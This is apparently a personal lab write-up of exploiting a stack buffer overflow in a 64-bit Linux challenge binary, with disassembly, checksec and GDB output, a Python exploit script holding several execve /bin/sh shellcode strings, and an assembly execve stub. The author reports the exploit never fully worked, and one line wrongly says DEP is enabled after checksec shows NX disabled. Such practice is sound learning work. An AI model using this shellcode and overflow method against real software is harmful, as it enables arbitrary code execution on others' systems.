mulpdev@home:~$

Exploiting Buffer Overflow

For this topic I went with https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/

BUT I decided to try and do it via execve

Disassembly

I made an effort to ignore the source code and use disassembly to identify the buffer overflow. I set the assembly flavor to be Intel for easier reading.

devel@kub:~/challenges/classic$ objdump -M intel -d ./classic
<snip>
0000000000401176 <vuln>:
  401176:       f3 0f 1e fa             endbr64 
  40117a:       55                      push   rbp
  40117b:       48 89 e5                mov    rbp,rsp
  40117e:       48 83 ec 60             sub    rsp,0x60
  401182:       48 8d 45 a0             lea    rax,[rbp-0x60]
  401186:       ba 90 01 00 00          mov    edx,0x190
  40118b:       48 89 c6                mov    rsi,rax
  40118e:       bf 00 00 00 00          mov    edi,0x0
  401193:       e8 e8 fe ff ff          call   401080 <read@plt>
  401198:       89 45 fc                mov    DWORD PTR [rbp-0x4],eax
  40119b:       48 8d 55 a0             lea    rdx,[rbp-0x60]
  40119f:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
  4011a2:       89 c6                   mov    esi,eax
  4011a4:       48 8d 3d 59 0e 00 00    lea    rdi,[rip+0xe59]        # 402004 <_IO_stdin_used+0x4>
  4011ab:       b8 00 00 00 00          mov    eax,0x0
  4011b0:       e8 bb fe ff ff          call   401070 <printf@plt>
  4011b5:       48 8d 3d 63 0e 00 00    lea    rdi,[rip+0xe63]        # 40201f <_IO_stdin_used+0x1f>
  4011bc:       e8 9f fe ff ff          call   401060 <puts@plt>
  4011c1:       b8 00 00 00 00          mov    eax,0x0
  4011c6:       c9                      leave  
  4011c7:       c3                      ret    

00000000004011c8 <main>:
  4011c8:       f3 0f 1e fa             endbr64 
  4011cc:       55                      push   rbp
  4011cd:       48 89 e5                mov    rbp,rsp
  4011d0:       48 83 ec 10             sub    rsp,0x10
  4011d4:       89 7d fc                mov    DWORD PTR [rbp-0x4],edi
  4011d7:       48 89 75 f0             mov    QWORD PTR [rbp-0x10],rsi
  4011db:       48 8d 3d 51 0e 00 00    lea    rdi,[rip+0xe51]        # 402033 <_IO_stdin_used+0x33>
  4011e2:       b8 00 00 00 00          mov    eax,0x0
  4011e7:       e8 84 fe ff ff          call   401070 <printf@plt>
  4011ec:       b8 00 00 00 00          mov    eax,0x0
  4011f1:       e8 80 ff ff ff          call   401176 <vuln>
  4011f6:       b8 00 00 00 00          mov    eax,0x0
  4011fb:       c9                      leave  
  4011fc:       c3                      ret    
  4011fd:       0f 1f 00                nop    DWORD PTR [rax]
<snip>

The stack space created is 0x60 (96) bytes. We can tell from 401198: 89 45 fc mov DWORD PTR [rbp-0x4],eax and 401182: 48 8d 45 a0 lea rax,[rbp-0x60]

that there are two stack variables at least. The first one is 8 bytes (likely an int) which means there must be another 8 bytes of padding. The remaining 0x50 (80) bytes make up the stack buffer

So in the vuln function there is a buffer of at most 0x50 (80) bytes, but read is given a size of 0x190 (400) bytes.

checksec

Next up is to determine exactly what security protections are in place.

devel@kub:~/challenges/classic$ checksec classic
[*] '/home/devel/challenges/classic/classic'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

devel@kub:~/challenges/classic$ cat /proc/sys/kernel/randomize_va_space 
0

We know that DEP is enabled. DEP can be defeated with ROP.

Buffer Overflow

The first step in any buffer overflow is find the size of the overflow. I’m using PEDA.

I start gdb on the binary. First step is to make a pattern big enough to guarantee an overflow. 0x60 is 96 bytes, so I’ll make a pattern of 500 bytes just to be sure.

db-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"

Next I run the binary with in.txt as input.

gdb-peda$ r < in.txt
Try to exec /bin/sh
Read 400 bytes. buf is AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA�
No shell for you :(

Program received signal SIGSEGV, Segmentation fault.

64 bit doesn’t allow direct manipulation of RIP, so I need to look at RSP to see if I control that

gdb-peda$ x/wx $rsp
0x7fffffffe508: 0x41413741

gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104

The overflow occurs at 104 bytes in

shellcode

The stack is executable so instead of a pattern, I can write shellcode to the buffer

I’m going to use a NOP sled, followed by shellcode that runs /bin/sh

Gotcha 1

GDB will show the exploit running by using r < in.txt

To get it to run on the command line we need to use trickery. (cat in.txt ; cat) | ./classic https://security.stackexchange.com/questions/155844/using-cat-file-cat-to-run-a-simple-bof-exploit

Gotcha2

GDB alters the environment by setting LINES and COLUMNS. Unset these live or in .gdbinit

unset env LINES
unset env COLUMNS

Also remove any environment with env - /abs/path/classic and env - gdb /abs/path/classic

results

I never did get the full shellcode running. The addresses are slightly off still

python

#!/usr/bin/python3
import struct

buflen = 104
nop = b'\x90' * 40

# 27 byte execve /bin/sh from tutorial
#shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
# call exit instead of execve. Works.
#shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3c\x0f\x05"

# 25 byte execve /bin/sh
#shellcode = b"\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\xCC\x0f\x05"

# 30 byte execve /bin/sh
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\xCC\x0f\x05"

# execve /bin/bash with esp math?
#shellcode = b"\xCC\x48\x31\xd2\x52\x48\x83\xec\x40\xc6\x44\x24\x07\x2f\xc7\x44\x24\x08\x62\x69\x6e\x2f\xc7\x44\x24\x0c\x62\x61\x73\x68\x48\x8d\x7c\x24\x07\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\xCC\x0f\x05"

# print hello world. works.
#shellcode = b"\xeb\x1e\x5e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x48\x89\xfa\x48\x83\xc2\x0e\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21\x0a"



#rip = struct.pack("<Q", 0x7fffffffde50) # address of buffer gdb
rip = struct.pack("<Q", 0x7fffffffdea0) # address of buffer normal

padding = b"D" * (buflen - len(nop) - len(shellcode))
payload = nop + shellcode + padding + rip

f = open("in.txt", "wb")
f.write(payload)
f.close()
# nasm -f elf64 sh.s -o sh.o
# ld sh.o -o sh
# gcc -m64 -Wl,-e_start -nostdlib hello.S
	
.section .text
  .globl _start

	_start:
	    # third argument of execve is envp, set to NULL
	    xor %rdx, %rdx 

	    # zero terminator
	    push %rdx

	    # space for string
	    sub $16, %rsp

	    # end is aligned to the zero terminator
	    movb $0x2f, 7(%rsp)        # /
	    movl $0x2f6e6962, 8(%rsp)  # bin/
	    movl $0x68736162, 12(%rsp) # bash
	    movl $0x0a, 16(%rsp)

	    # first argument to execve is the file name
	    leaq 7(%rsp), %rdi

	    # push NULL to the stack, argv terminator
	    pushq %rdx 

	    # also argv[0]
	    push %rdi

	    # second argument to execve is argv
	    mov %rsp, %rsi

	    # copy 59 to rax, defining syscall number for execve
	    # avoid zero byte
	    xor %eax, %eax
	    movb $59, %al 
	    syscall